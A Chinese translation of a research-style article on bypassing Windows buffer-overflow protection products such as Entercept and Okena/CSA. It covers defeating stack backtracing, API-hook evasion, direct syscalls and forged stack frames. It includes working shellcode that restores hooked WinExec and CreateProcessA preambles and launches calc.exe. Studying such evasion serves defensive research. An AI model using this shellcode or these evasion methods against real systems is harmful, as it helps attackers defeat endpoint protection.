绕过缓冲溢出防护系统
作者:佚名 来源:www.hack58.com 发布时间:2006-7-15 0:20:30 发布人:noangel
减小字体 增大字体
1-介绍
近来一段时间,一些商业化的安全机构开始提出一些方案来解决缓冲区溢出问题。本文分析这些保护方案,并且介绍一些技术来绕过这些缓冲区溢出保护系统.
现在不少商业化组织创造了许多技术来防止缓冲区溢出。最近,最流行的一种技术是栈回溯技术,它是一种最容易实现的防溢出技术,但是同时它也是最容易被攻击者绕过的一项技术.
值得一提的是,许多著名的商业化产品,比如Entercept和Okena就使用了这项技术。
--[2-栈回溯
现存的大多数商业安全体系实际上并不是防止缓冲区溢出,而是试图检测Shellcode的执行.
最普遍的检测Shellcode的技术是检查代码页的权限,通过检测代码是否在一个可写的内存页上执行来判断是否执行了Shellcode.这种办法是可行的,因为代码段的内存属性通常是不可写的,并且X86体系不支持non-executable这种内存属性位。
有些溢出防护体系也执行一些额外的检查,用来判断代码的内存页是否属于一个PE文件节区的内存映射,并且不属于一个匿名的内存节区
[-----------------------------------------------------------]
page = get_page_from_addr( code_addr );
if (page->permissions & WRITABLE)
return BUFFER_OVERFLOW;
ret = page_originates_from_file( page );
if (ret != TRUE)
return BUFFER_OVERFLOW;
[-----------------------------------------------------------]
Pseudo code for code page permission checking
依赖栈回溯的缓冲区溢出保护技术(BOPT)并不真正创建一个不可执行的堆栈段,而是通过Hook操作系统调用来监测Shellcode的执行。
大多数的操作系统可以在用户态或者内核态被Hook.
下面的章节我们讲述如何逃避内核hook,再下一节讲述如何绕过用户态hook。
--[3-逃避内核态hook
当hook内核时,主机入侵保护系统(HIPS)必须能够监测用户态的API是被哪里调用的。
由于kernel32.dll和ntdll.dll中的函数被大量的调用,一个API调用通常与真正的系统陷阱调用( syscall trap call)
相隔很多栈帧。因此,一些入侵防护系统依赖栈回溯来定位系统调用的原始调用者。
--[3.1-内核栈回溯
虽然栈回溯可以发生用户态和内核态,但是相比用户态组件而言,栈回溯技术对于缓冲区溢出保护技术的内核组件而言要重要得多.现有的商业BOPT的内核组件完全依赖栈回溯来检测Shellcode的执行,因此逃避内核Hook可以简化为使栈回溯机制失效。
栈回溯牵涉到历遍栈帧,和把返回地址传递给上层的缓冲溢出检测程序来进行检测。
通常情况下,有一个附加的"return into libc"检查,包括检查一个返回地址是否指向Call或者Jmp的下一条指令。最基本的栈回溯操作的代码(通常被用于BOPT),就像下面这个一样
[-----------------------------------------------------------]
while (is_valid_frame_pointer( ebp )) {
ret_addr = get_ret_addr( ebp );
if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
return BUFFER_OVERFLOW;
if (does_not_follow_call_or_jmp_opcode(ret_addr))
return BUFFER_OVERFLOW;
ebp = get_next_frame( ebp );
}
[-----------------------------------------------------------]
Pseudo code for BOPT stack backtracing
当讨论如何逃避栈回溯,最要弄明白的一点就是栈回溯如何在X86体系上工作的,当调用一个函数时,一个典型的栈帧看起来就像下面这个一样: : :
|-------------------------|
| function B parameter #2 |
|-------------------------|
| function B parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|=========================|
| function A parameter #2 |
|-------------------------|
| function A parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|-------------------------|
EBP寄存器指向下一个栈帧。没有EBP寄存器,就会非常困难,或者根本不可能正确地标识和追踪所有的栈帧
现代编译器通常不使用EBP作为栈帧指针,而是作为一个通用寄存器,经过EBP优化,一个栈帧看起来如下
||-----------------------|
| function parameter #2 |
|-----------------------|
| function parameter #1 |
|-----------------------|
| return EIP address |
|-----------------------|
注意EBP寄存器并没有出现在栈中,没有EBP寄存器,缓冲区溢出检测技术就没法准确地实施栈回溯.这样一来,他们就很难进行检测,一个简单的"return into libc "型的攻击就可以绕过保护。
简单的调用比BOPT hook住的API更底层的API可以使这种检测技术失效。
--[3.2-伪造栈帧
由于栈是在Shellcode的完全控制之下的,所以可以在API调用之前彻底更改它的内容,专门改造过的栈帧可以被用来绕过缓冲溢出的监测.
如同前面解释的那样,缓冲溢出检测工具寻找格法代码的3个关键标志:只读的页属性,内存映射文件节区和指向call,jmp后面的指令的返回地址.Since function pointers change
calling semantics, BOPT do not (and cannot) check that a call or jmp
actually points to the API being called. Most importantly, the BOPT cannot
check return addresses beyond the last valid EBP frame pointer
(it cannot stack backtrace any further).
因 此,逃避BOPT可以通过创建一个带有有效返回地址的最终(final)栈帧,这个返回地址必须指向一条驻留在只读内存页上的来自于内存映射文件节的,并 且紧跟在一条call或者jmp指令之后的指令.假设伪造的返回地址合理的接近于第2个返回地址,Shellcodeo可以轻松地再次获得控制权
为了指向伪造的返回地址,理想的指令顺序是 [-----------------------------------------------------------]
jmp [eax] ; or call [eax], or another register
dummy_return: ... ; some number of nops or easily
; reversed instructions, e.g. inc eax
ret ; any return will do, e.g. ret 8
[-----------------------------------------------------------]
绕过内核BOPT组件很容易,因为它们必须依赖用户控制的数据(栈)来检验API调用的有效性,通过正确地操作栈,可以有效地结束站返回地址的分析
这种栈回溯逃避技术也影响用户态的hooks
--[4.逃避用户态hooks
假使在一个有效的内存区域内出现了一系列正确的指令,那么绕过内核缓冲溢出保护是可能的.相似的技术可以被用来绕过用户态的BOPT组件,更加的是,由于Shellcode运行的时候拥有和用户态Hook相同的权限,我们还能采取其他不少技术来逃避BOPT的监测.
--[4.1-实际问题-不完全的API Hooking
用户态缓冲溢出防护技术存在很多问题.例如攻击者会选择很多不同的办法来实现他们的目的,而溢出保护系统可能只能检测其中的一部分.
尝试预先判断一个攻击者会如何构造它的Shellcode是非常困难的,甚至是不可能的,要选择一种好的办法并不容易,有很多障碍横在你面前,如
a.没有同时考虑到API调用的UNICODE和ANSI版本
b.没有考虑到API的链状调用关系,比如很多kernel32.dll中的函数仅仅是把ntdll.dll中的函数微微包装
c.Microsoft Windows API的经常性的更改
--[4.1-没有Hook API的所有版本
实 行用户态Hooking时,一种最常遇到的失误就是没有完全覆盖代码路径.为了阻止恶意代码,所有攻击者可以利用的API都必须被Hook.这就要求溢出 保护系统Hook住攻击者必须用到的代码,然而,就像我们下面要揭示的那样,一旦一个攻击者已经开始执行他的代码,第3方保护系统就很难再掌握他所有的行 动,事实上,我们已经测试过的商业保护系统中,没有一个能有效覆盖攻击者的代码路径
很多Windows的 API有2个不同的版本,ANSI和UNICODE。ANSI函数通常以A结尾,而UNICODE以W结尾.ANSI的函数一般仅仅是UNICODE函数 的简单包装,例如,CreateFileA是一个ANSI函数,传递给它的参数被它转换成UNICODE字符串,然后它再调用CreateFileW.除 非我们Hook住API的ANSI和UNICODE2个版本,否则攻击者可以通过调用API的另一个版本来绕过我们的保护机制
例 如,Entercept4.1 Hook了LoadLibraryA,但是它忘记了Hook LoadlibraryW.如果一个保护系统仅仅Hook了API的一个版本,那它应该Hook UNICODE版本的API,在这一方面,Okenal/CSA做得比较好,它Hook了 LoadLibraryA,LoadlibraryW,LoadlibraryExA,LoadlibraryExW.不幸的是,对于第3方溢出保护系统 来说,简单的多Hook几个kernel32.dll的函数并不够.
--[4.1.2-没有Hook得足够深
在WindowsNT 中,kernel32.dll只是Ntdll.dll得简单包装,但是大多数的溢出保护系统并没有Hook ntdll.dll里面的函数,这个错误和没有Hook API的2个版本很相似,攻击者可以直接调用ntdll.dll里的函数来绕过保护系统在Kernel32.dll里面设置的检查.
例 如,NAI Entercept尝试检测Shellcode调用kernel32.dll中的GetProcAddress(),然而,Shellcode可以被改写 成调用ntdll.dll的LdrGetProcedureAddress(),这可以达到相同的目的,并且绕过了检测.
一般而言,shellcode可以完全直接避开用户态的hook,通过调用系统调用来达到目的.(见4.5小节)
--[4.1.3-没有充分地Hook-
各种不同的Win32 API之间的相互作用是非常复杂的,并且很难弄清楚,一不小心就会给入侵者留下一个进入的窗口.
例如,Okena/CSA和NAI entercept都hook了WinExec试图防止攻击者执行一个进程,WinExec调用顺序如下
WinExec()-->CreateProcessA()-->CreateProcessInternalA()
Okena/CSA 和NAI entercept Hook了WinExec()和CreateProcessA(),(参见附录A,,但是,这2种系统都没Hook CreateProcessInternalA()(被kernel32.dll导出),当编写Shellcode时,攻击者可以使用 CreateProcessInternalA()来替代WinExec().
在调用CreateProcessInternalA()之 前,CreateProcessA()压入2个NULL进栈,因此Shellcode只需要压入2个Null进栈,然后直接调用 CreateProcessInteralA(),便可逃避这2种产品的用户态Hook的监测.
当新的DLLs和APIs发布时,Win32 API之间的相互作用更加复杂化了,这使问题更加复杂。第三方保护系统在实施他们的溢出保护技术的时候会很不利,一个小小的失误就可能被攻击者利用.
--[4.2-跳床的乐趣
大多数的Win32 API函数的开头5个字节是一样的,首先EBP被压栈,然后EBP被指向ESP的位置
[-----------------------------------------------------------]
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
[-----------------------------------------------------------]
Okena/CSA 和 Entercept都使用内联函数Hooking,他们覆盖函数的头5个字节为立即跳转指令(jmp)或者call.下面就是WinExec被hook后的头几个字节
[-----------------------------------------------------------]
Code Bytes Assembly
e8 xx xx xx xx call xxxxxxxx
54 push esp
53 push ebx
56 push esi
57 push edi
[-----------------------------------------------------------]
或者,头几个字节被改成jmp
[-----------------------------------------------------------]
Code Bytes Assembly
e9 xx xx xx xx jmp xxxxxxxx
...
[-----------------------------------------------------------]
很明显的,Shellcode很容易在调用函数之前验证函数是否被Hook,如果发现有保护系统的存在,Shellcode可以使用别的技术来绕过Hook.
--[4.2.1-补丁表跳转
当 一个API被hook了,原始函数的头几个字节被存放在一张表中,这样溢出保护系统可以在监测完毕之后还原函数的功能,这些字节被放在一个补丁表中,这个 补丁表驻留在一个进程空间某个区域中,当Shellcode检测到有Hook的存在时,它可以搜索补丁表,调用原始的函数,这可以完全避开hook,即使 溢出保护系统监控了所有可能的代码路径也无济于事.
--[4.2.2-跳过Hook]
另外的办法,除了定位patch table表,Shellcode可以包含一份原始函数头,使用这份头部代码来开始执行API函数,由于Intel X86具有长度可变的指令,我们需要这样做
[-----------------------------------------------------------]
Shellcode:
call WinExecPreamble
WinExecPreamble:
push ebp
mov ebp, esp
sub esp, 54
jmp WinExec+6
[-----------------------------------------------------------]
如 果调用路径中有别的函数被hook了,这种技术可能不会起作用。Entercept也hook了CreateProcessA(),这是被 WinExec()调用到的函数,因此,为了逃避检测,shellcode里面还应该包含一份CreateProcessA()的入口代码.
--[4.3-重新修补Win32 APIs
如果使用用户态溢出保护系统组件时犯了某种根本错误,就算彻底hook了WIN32 APIs也没用
特 定的系统在实施他们的API hook时会犯一系列的错误,为了能够改写被Hook的函数的入口代码,Dlls的代码段被设置为可写,Entercept设置kernel32.dll 和ntdll.dll的代码段为可写,这样他就能修改代码段的内容,然而,Entercept从来不把可写标志复位!
由于这个严重的安全缺陷,攻击者可以用原始函数入口点复写被Hook过的函数,对于WinExec()和CreateProcessA()的例子而言,我们只要复写WinExec()和CreateProcessA()的头6个字节(为了对齐指令)
[-----------------------------------------------------------]
WinExecOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
83ec54 sub esp, 54
CreateProcessAOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
ff752c push DWORD PTR [ebp+2c]
[-----------------------------------------------------------]
下面的shellcode的例子可以非常有效的对付NAI Entercept,用的方法就是复写函数头
[-----------------------------------------------------------]
// This sample code overwrites the preamble of WinExec and
// CreateProcessA to avoid detection. The code then
// calls WinExec with a "calc.exe" parameter.
// The code demonstrates that by overwriting function
// preambles, it is able to evade Entercept and Okena/CSA
// buffer overflow protection.
_asm {
pusha
jmp JUMPSTART
START:
pop ebp
xor eax, eax
mov al, 0x30
mov eax, fs:[eax];
mov eax, [eax+0xc];
// We now have the module_item for ntdll.dll
mov eax, [eax+0x1c]
// We now have the module_item for kernel32.dll
mov eax, [eax]
// Image base of kernel32.dll
mov eax, [eax+0x8]
movzx ebx, word ptr [eax+3ch]
// pe.oheader.directorydata[EXPORT=0]
mov esi, [eax+ebx+78h]
lea esi, [eax+esi+18h]
// EBX now has the base module address
mov ebx, eax
lodsd
// ECX now has the number of function names
mov ecx, eax
lodsd
add eax,ebx
// EDX has addresses of functions
mov edx,eax
lodsd
// EAX has address of names
add eax,ebx
// Save off the number of named functions
// for later
push ecx
// Save off the address of the functions
push edx
RESETEXPORTNAMETABLE:
xor edx, edx
INITSTRINGTABLE:
mov esi, ebp // Beginning of string table
inc esi
MOVETHROUGHTABLE:
mov edi, [eax+edx*4]
add edi, ebx // EBX has the process base address
xor ecx, ecx
mov cl, BYTE PTR [ebp]
test cl, cl
jz DONESTRINGSEARCH
STRINGSEARCH: // ESI points to the function string table
repe cmpsb
je Found
// The number of named functions is on the stack
cmp [esp+4], edx
je NOTFOUND
inc edx
jmp INITSTRINGTABLE
Found:
pop ecx
shl edx, 2
add edx, ecx
mov edi, [edx]
add edi, ebx
push edi
push ecx
xor ecx, ecx
mov cl, BYTE PTR [ebp]
inc ecx
add ebp, ecx
jmp RESETEXPORTNAMETABLE
DONESTRINGSEARCH:
OverWriteCreateProcessA:
pop edi
pop edi
push 0x06
pop ecx
inc esi
rep movsb
OverWriteWinExec:
pop edi
push edi
push 0x06
pop ecx
inc esi
rep movsb
CallWinExec:
push 0x03
push esi
call [esp+8]
NOTFOUND:
pop edx
STRINGEXIT:
pop ecx
popa;
jmp EXIT
JUMPSTART:
add esp, 0x1000
call START
WINEXEC:
_emit 0x07
_emit 'W'
_emit 'i'
_emit 'n'
_emit 'E'
_emit 'x'
_emit 'e'
_emit 'c'
CREATEPROCESSA:
_emit 0x0e
_emit 'C'
_emit 'r'
_emit 'e'
_emit 'a'
_emit 't'
_emit 'e'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 'A'
ENDOFTABLE:
_emit 0x00
WinExecOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0x83
_emit 0xec
_emit 0x54
CreateProcessAOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0xff
_emit 0x75
_emit 0x2c
COMMAND:
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'c'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0x00
EXIT:
_emit 0x90
// Normally call ExitThread or something here
_emit 0x90
}
[-----------------------------------------------------------]
--[4.4-攻击用户态组件
虽然逃避用户态溢出保护系统的hook和技术是非常有效的,但是我们还有别的好办法来绕过检测.因为shellcode和溢出保护系统都运行在相同的权限和地址空间下,这就使得shellcode可以直接攻击溢出保护系统本身.
基本上,攻击缓冲溢出保护系统就是推翻shellcode检测的执行机制
shellcode的有效性检查只有2个基本技术原则:
1.需要检测的数据是在被hook的API调用过程中动态决定的
或者
2.数据在进程启动时收集然后在每个API调用时候被检查
每种情况下,攻击者都可能破坏进程.
--[4.4.1-修补 IAT
相 比执行他们的内存页属性函数,商业化的溢出保护系统通常使用操作系统提供的API函数.在WinNT中,他们被封装在ntdll.dll中,这些API通 过PE的导入表被导入到用户态组件中,攻击者可以通过修改shellcode要用到的函数所在的dll的导出表,来改变API的位置,通过提供自己的 API给溢出保护系统使用,我们可以轻易绕过检测.
--[4.4.2-修补 数据节
为了各种各样的原因,一个溢出检测系统可能使用一个预建的页属性的列表,这样我们就算改变了VirtualQuery()的地址(就是替换了这个函数)也没有用.为了破坏溢出检测系统,shellcode必须定位和修改这个列表。
--[4.5-直接调用Syscall
就像前面提到的那样,不是通过ntdll.dll去调用syscall,而是攻击者可以自己在shellcode里面直接调用syscall,虽然这个办法可以有效的对付用户态的检测组件,但是却没办法绕过内核态的检测组件.
为 了利用这项技术,你必须明白内核函数如何使用参数,这些参数可能与kernel32.dll和ntdll.dll函数使用的参数不同.同样的,你必须知道 系统调用的调用号,你可以动态的得到这个编号,通过使用与得到函数地址相似的办法,一旦你有了ntdll.dll里的函数地址,跳过一字节,然后读接下来 的DWORD,这就是系统调用表中的系统调用号,这常用在rootkit里面
这里一段伪代码演示了如何直接调用NtReadFile
...
xor eax, eax
// Optional Key
push eax
// Optional pointer to large integer with the file offset
push eax
push Length_of_Buffer
push Address_of_Buffer
// Before call make room for two DWORDs called the IoStatusBlock
push Address_of_IoStatusBlock
// Optional ApcContext
push eax
// Optional ApcRoutine
push eax
// Optional Event
push eax
// Required file handle
push hFile
// EAX must contain the system call number
mov eax, Found_Sys_Call_Num
// EDX needs the address of the userland stack
lea edx, [esp]
// Trap into the kernel
// (recent Windows NT versions use "sysenter" instead)
int 2e
--[4.6-伪造栈帧
如同在3.2节讨论的那样,内核栈回溯可以通过伪造栈帧来避掉,shellcode可以伪造一个没有EBP寄存器的栈帧,由于栈回溯依赖EBP寄存来找到下一个栈帧,伪造的栈帧可以防止栈回溯通过伪造栈帧
当然,当EIP仍然指向一个驻留在可写的内存段中的shellcode时,生成假的栈帧是没有用的,为了绕过保护代码,shellcode需要使用一个位于不可写的内存区域的地址,这会产生一个问题,因为shellcode最终要重新获得执行的控制权.
为了重新获得控制权,我们使用"ret"指令,这个指令可以在内存中动态的搜索0xC3来得到
下面是一个普通的Loadlibrary("kernel32.dll")调用的例子
push kernel32_string
call LoadLibrary
return_eip:
.
.
.
LoadLibrary: ; * see below for a stack illustration
.
.
.
ret ; return to stack-based return_eip
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| return address (return_eip) |
|------------------------------|
就像先前解释的那样,溢出保护系统的代码先于LoadLibrary执行,由于返回地址落在一个可写的内存里面,保护系统记录了溢出行为并中止了目标进程
下面的代码演示了利用'ret'指令的技术
push return_eip
push kernel32_string
; fake "call LoadLibrary" call
push address_of_ret_instruction
jmp LoadLibrary
return_eip:
.
.
.
LoadLibrary: ; * see below for a stack illustration
.
.
.
ret ; return to non stack-based address_of_ret_instruction
address_of_ret_instruction:
.
.
.
ret ; return to stack-based return_eip
再 一次的,溢出保护系统的代码先于LoadLibrary执行,但是这次,栈里面保存的返回地址是位于不可写内存中的,更不错的是,栈里面没有出现EBP寄 存器,这样保护代码不能通过栈回溯来找到下一个栈帧,然后检测下一个栈帧的返回地址是否指向一个可写的内存。这就允许返回到ret时,shellcode 调用LoadLibrary,ret指令弹出下一个返回地址出栈,然后使EIP指向它
|------------------------------|
| return address (return_eip) |
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| address of "ret" instruction |
|------------------------------|
更加的是,可是设置更加复杂的伪造的栈帧来扰乱保护代码
下面是一个使用'ret 8'来替代'ret'的伪造栈帧的例子
|--------------------------------|
| return address |
|--------------------------------|
| address of "ret" instruction | <- fake frame 2
|--------------------------------|
| any value |
|--------------------------------|
| address of "kernel32.dll" str |
|--------------------------------|
| address of "ret 8" instruction | <- fake frame 1
|--------------------------------|
这可以导致特殊的32位值出栈,是任何分析更加混乱
--[5-总结
现在主要的商用溢出保护系统并非防止堆栈溢出,而是尝试检测shellcode的执行.最常用的技术就是依赖栈回溯的代码页权限检查.
栈回溯历遍所有的栈帧,然后检查他们的返回地址是否位于一个可写的内存区域内,如果不是,则判断为shellcode.
本文挡展示了一些技术,用于绕过用户态和内核态溢出保护系统.其范围覆盖了处理函数入口代码和创建伪造的栈帧.
总而言之,现在的主流溢出保护系统都是有缺陷的,给我们一种不真实的安全感,在一个厉害的攻击者面前,这些系统显得不堪一击.